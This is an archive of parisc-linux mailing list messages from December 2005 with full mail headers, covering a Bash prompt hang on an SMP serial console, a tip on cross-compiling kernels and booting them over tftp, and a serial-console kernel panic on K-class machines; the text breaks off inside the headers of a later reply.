Original-Received: from [10.0.144.81] by pd5ims2.prod.shaw.ca (mshttpd); Sat,
	17 Dec 2005 02:16:28 -0700
X-Mailer: iPlanet Messenger Express 5.2 HotFix 1.18 (built Jul 28 2003)
Content-language: en
Content-disposition: inline
X-Accept-Language: en
Priority: normal
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: L7LRYwxBeSEkTL6WZHQhaXN1IGRvb4Bo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23268

Greetings to all!

I've now got the following quirk on my HPPA box.

This problem is only evident when running SMP, as it appears. The problem doesn't happen under a Uniprocessor kernel.

SMP, works great otherwise. No segfaults or panics related to SMP sofar.

What happens here is that Bash doesn't "return" after a command, ie, my prompt dissapears and never comes back. Doing something as trivial as uname or ls, my computer# Bash prompt never re-appears after the program has finished sending its output (ie, after the directory listing of ls or the output to terminal from uname).

This is using /dev/ttyB0 as the terminal, as specified under /etc/inittab. Agetty spawns and works as expected.

Now, I can SSH into the box just fine after the Bash prompt has dissapeared under the serial console. I can kill Bash from this SSH terminal and Agetty respawns on ttyB0, and I can repeat this process indefinately. SSH works absolutely great, no problems with a SSH connection at all.

This only happens after running "some" command. If I let Bash idle, and come back, it still accepts input as normal, so its not hanging after a given amount of time. Its just after executing programs.

Bash works under SSH, so I can't see what the problem is here or why SMP seems to cause it. Dmesg shows no errors. No kernel panics or anything else. This only occurs on ttyB0.

I've turned off all color for the Bash & LS Commands on by default under Gentoo, same results, so the colored console/serial terminal has nothing to do with it (and besides, it makes no difference as it works with color regardless under a Uniproc kernel).

Any ideas?

Thanks!
Keven Tipping

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bizzare Bash behavior (Bug? 2.6.14.3-pa0 SMP)
Date: Sat, 17 Dec 2005 19:49:50 +0000
Lines: 80
Approved: news@gmane.org
Message-ID: <43A46BDE.2090901@tiscali.be>
References: <a6b35aa6481f.a6481fa6b35a@shaw.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623958 17432 80.91.229.3 (22 Nov 2014 02:39:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Keven Tipping <bytelogix@shaw.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Dec 2005 19:50:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 17 Dec 2005 20:50:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7D577D6D4;
	Sat, 17 Dec 2005 12:50:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10765-07; Sat, 17 Dec 2005 12:50:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9ED1B7D6CE;
	Sat, 17 Dec 2005 12:50:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 99F6A7D6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Dec 2005 12:50:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10765-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Dec 2005 12:50:01 -0700 (MST)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 5F16E7D6C6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Dec 2005 12:50:01 -0700 (MST)
Original-Received: from ([62.235.210.96]) 
	by oola.is.scarlet.be  with ESMTP id jBHJnvn09122; 
	Sat, 17 Dec 2005 20:49:57 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20051007 Debian/1.7.12-1
X-Accept-Language: en
In-Reply-To: <a6b35aa6481f.a6481fa6b35a@shaw.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: og7WYyMEeSEkab6WZHQhaXN1IGRvbwC6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23269



Keven Tipping wrote:
> Greetings to all!
> 
> I've now got the following quirk on my HPPA box.
> 
> This problem is only evident when running SMP, as it appears. The problem doesn't happen under a Uniprocessor kernel.
> 
> SMP, works great otherwise. No segfaults or panics related to SMP sofar.
> 
> What happens here is that Bash doesn't "return" after a command, ie, my prompt dissapears and never comes back. Doing something as trivial as uname or ls, my computer# Bash prompt never re-appears after the program has finished sending its output (ie, after the directory listing of ls or the output to terminal from uname).
> 
> This is using /dev/ttyB0 as the terminal, as specified under /etc/inittab. Agetty spawns and works as expected.
> 
> Now, I can SSH into the box just fine after the Bash prompt has dissapeared under the serial console. I can kill Bash from this SSH terminal and Agetty respawns on ttyB0, and I can repeat this process indefinately. SSH works absolutely great, no problems with a SSH connection at all.
> 
> This only happens after running "some" command. If I let Bash idle, and come back, it still accepts input as normal, so its not hanging after a given amount of time. Its just after executing programs.
> 
> Bash works under SSH, so I can't see what the problem is here or why SMP seems to cause it. Dmesg shows no errors. No kernel panics or anything else. This only occurs on ttyB0.
> 
> I've turned off all color for the Bash & LS Commands on by default under Gentoo, same results, so the colored console/serial terminal has nothing to do with it (and besides, it makes no difference as it works with color regardless under a Uniproc kernel).
> 
> Any ideas?
> 
On my d380, it's a debian testing using by default getty:
# more /etc/inittab
[...]
# Example how to put a getty on a serial line (for a terminal)
#
T0:23:respawn:/sbin/getty -L ttyS0 9600 vt102
#T1:23:respawn:/sbin/getty -L ttyS1 9600 vt102
T2:23:respawn:/sbin/getty -L ttyB0 9600 vt102
[...]

supplied by:
# dpkg -S /sbin/getty
util-linux: /sbin/getty
# dpkg -l util-linux
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name                        Version                     Description
+++-===========================-===========================-======================================================================
ii  util-linux                  2.12p-8                     Miscellaneous system utilities

and runing bash-3.0:
# dpkg -l bash
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name                        Version                     Description
+++-===========================-===========================-======================================================================
ii  bash                        3.0-17                      The GNU Bourne Again SHell

and didn't have yet encounter the pb you decribe, though.

Hth,
	Joel

PS: oth, I encounter a weird pb with init (iirc a debian default) supplied by:
# which init
/sbin/init
# dpkg -S /sbin/init
sysvinit: /sbin/init
# dpkg -l sysvinit
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name                        Version                     Description
+++-===========================-===========================-======================================================================
ii  sysvinit                    2.86.ds1-4                  System-V like init

May I ask you to check which init Gentoo use by default?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bizzare Bash behavior (Bug? 2.6.14.3-pa0 SMP)
Date: Sat, 17 Dec 2005 15:08:43 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20051217200843.GA25923@quicksilver.road.mcmartin.ca>
References: <a6b35aa6481f.a6481fa6b35a@shaw.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623958 17435 80.91.229.3 (22 Nov 2014 02:39:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Keven Tipping <bytelogix@shaw.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Dec 2005 20:36:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 17 Dec 2005 21:36:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B38F7D6E8;
	Sat, 17 Dec 2005 13:09:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11224-09; Sat, 17 Dec 2005 13:09:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9A4C47D6EA;
	Sat, 17 Dec 2005 13:09:03 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9840A7D6E7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Dec 2005 13:08:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11183-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Dec 2005 13:08:59 -0700 (MST)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id F1C007D6E0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Dec 2005 13:08:58 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 7567D17089;
	Sat, 17 Dec 2005 15:08:57 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09420-07; Sat, 17 Dec 2005 15:08:57 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id F1D1F17088;
	Sat, 17 Dec 2005 15:08:56 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 99D063B059; Sat, 17 Dec 2005 15:08:43 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <a6b35aa6481f.a6481fa6b35a@shaw.ca>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gRPWY4w8eSEkQr6WZHQhaXN1IGRvb4Ao
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23270

On Sat, Dec 17, 2005 at 02:16:28AM -0700, Keven Tipping wrote:
>

Fixed already. Upgrade your kernel.

http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2005-November/036299.html
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Mon, 19 Dec 2005 21:57:59 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <200512192157.59926.deller__27142.5084364184$1416623959$gmane$org@gmx.de>
References: <43971676.1010009@gmail.com> <20051219170717.GA1464@ntlworld.com> <20051219203048.GA2197@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623959 17440 80.91.229.3 (22 Nov 2014 02:39:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:19 +0000 (UTC)
Cc: Stuart Brady <sdbrady@ntlworld.com>,
 debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2005 20:58:18 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx069) with SMTP; 19 Dec 2005 21:58:18 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 836C92E226; Mon, 19 Dec 2005 14:58:11 -0600 (CST)
Old-Return-Path: <deller@gmx.de>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.21])
	by murphy.debian.org (Postfix) with SMTP id C5FA32DDCB
	for <debian-hppa@lists.debian.org>; Mon, 19 Dec 2005 14:58:08 -0600 (CST)
Original-Received: (qmail invoked by alias); 19 Dec 2005 20:58:11 -0000
Original-Received: from p54AD19A8.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.25.168]
  by mail.gmx.net (mp010) with SMTP; 19 Dec 2005 21:58:11 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <20051219203048.GA2197@ntlworld.com>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-4.9 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=3.0.3
Resent-Message-ID: <7E3LWB.A.5Y.j7xpDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5013
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 19 Dec 2005 14:58:11 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: vHvVY3lEeSEkN76WZHQhaXN1IGRvb8DT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23271

On Monday 19 December 2005 21:30, Stuart Brady wrote:
> > Ooh!  I'll test this...  Unfortunately, I'm compiling on a 715/100 so
> > bear with me for a moment. :)

BTW, I'm doing all PA-Linux development on my Athlon desktop and cross-compile the parisc-linux kernel (e.g. with ftp://ftp.parisc-linux.org/x86-xcompilers/xc-20040917-hppa32.tgz).
Then the Athlon PC runs a tftp-server and services the built kernel to the parisc servers. The kernel boots, but then has it's root directory on the local hard disk.
It's way faster than native compilation, and as benefit I can boot all my parisc machines with this one single kernel (build once, boot everywhere ;-)).

Helge


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keven Tipping <bytelogix@shaw.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Console Kernel Panic
Date: Mon, 19 Dec 2005 20:50:18 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <ce7b5dcee759.cee759ce7b5d@shaw.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623959 17443 80.91.229.3 (22 Nov 2014 02:39:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2005 03:50:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 20 Dec 2005 04:50:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A326A7D6DA;
	Mon, 19 Dec 2005 20:50:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01873-06; Mon, 19 Dec 2005 20:50:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 048F37D6BE;
	Mon, 19 Dec 2005 20:50:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 676A67D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Dec 2005 20:50:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01873-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Dec 2005 20:50:43 -0700 (MST)
Original-Received: from pd3mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id C63197D6BB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Dec 2005 20:50:43 -0700 (MST)
Original-Received: from pd3mr3so.prod.shaw.ca
	(pd3mr3so-qfe3.prod.shaw.ca [10.0.141.179]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0IRS001QF2NUMK00@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 19 Dec 2005 20:50:18 -0700 (MST)
Original-Received: from shaw.ca ([10.0.122.102])
	by pd3mr3so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IRS00K782NUX7F0@pd3mr3so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 19 Dec 2005 20:50:18 -0700 (MST)
Original-Received: from [10.0.144.80] by pd5ims2.prod.shaw.ca (mshttpd); Mon,
	19 Dec 2005 20:50:18 -0700
X-Mailer: iPlanet Messenger Express 5.2 HotFix 1.18 (built Jul 28 2003)
Content-language: en
Content-disposition: inline
X-Accept-Language: en
Priority: normal
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yhrVY2kEeSEkMb6WZHQhaXN1IGRvb8Dm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23272

Greetings to all!

I am currently running Kernel version 2.6.15-rc6-pa1.

This problem, however, is evident in 2.6.14.3-pa0, and 2.6.15-rc5-pa5, as well as 2.6.12.2 (Gentoo 2005 LiveCD). Problem remains regardless of SMP or Uniprocessor kernels.

On the K Class (it appears it is limited to these machines?), if nothing is currently running on the ttyB0 Serial Console, if you press any key, the system burps up the following:

Kernel Panic: Kernel Fault
Not Syncing...

What I mean by "nothing running" is if Agetty is NOT running, NOR is Bash. 

This "Gap" where nothing is running, is most evident when you quit Bash (mycomp# exit), and before Agetty has respawned for a login. Inbetween these two events, if any input is sent on the keyboard, the system panics and dies.

I'm not sure what the problem is- maybe related to the MUX driver somehow? Afaik only ttyB0 serial consoles are effected.

Cheers!
Keven Tipping

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Console Kernel Panic
Date: Tue, 20 Dec 2005 09:42:29 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20051220164229.GX2361__19443.8931219795$1416623959$gmane$org@parisc-linux.org>
References: <ce7b5dcee759.cee759ce7b5d@shaw.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623959 17448 80.91.229.3 (22 Nov 2014 02:39:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:19 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Keven Tipping <bytelogix@shaw.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2005 16:42:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 20 Dec 2005 17:42:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 407F27D71F;
	Tue, 20 Dec 2005 09:42:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
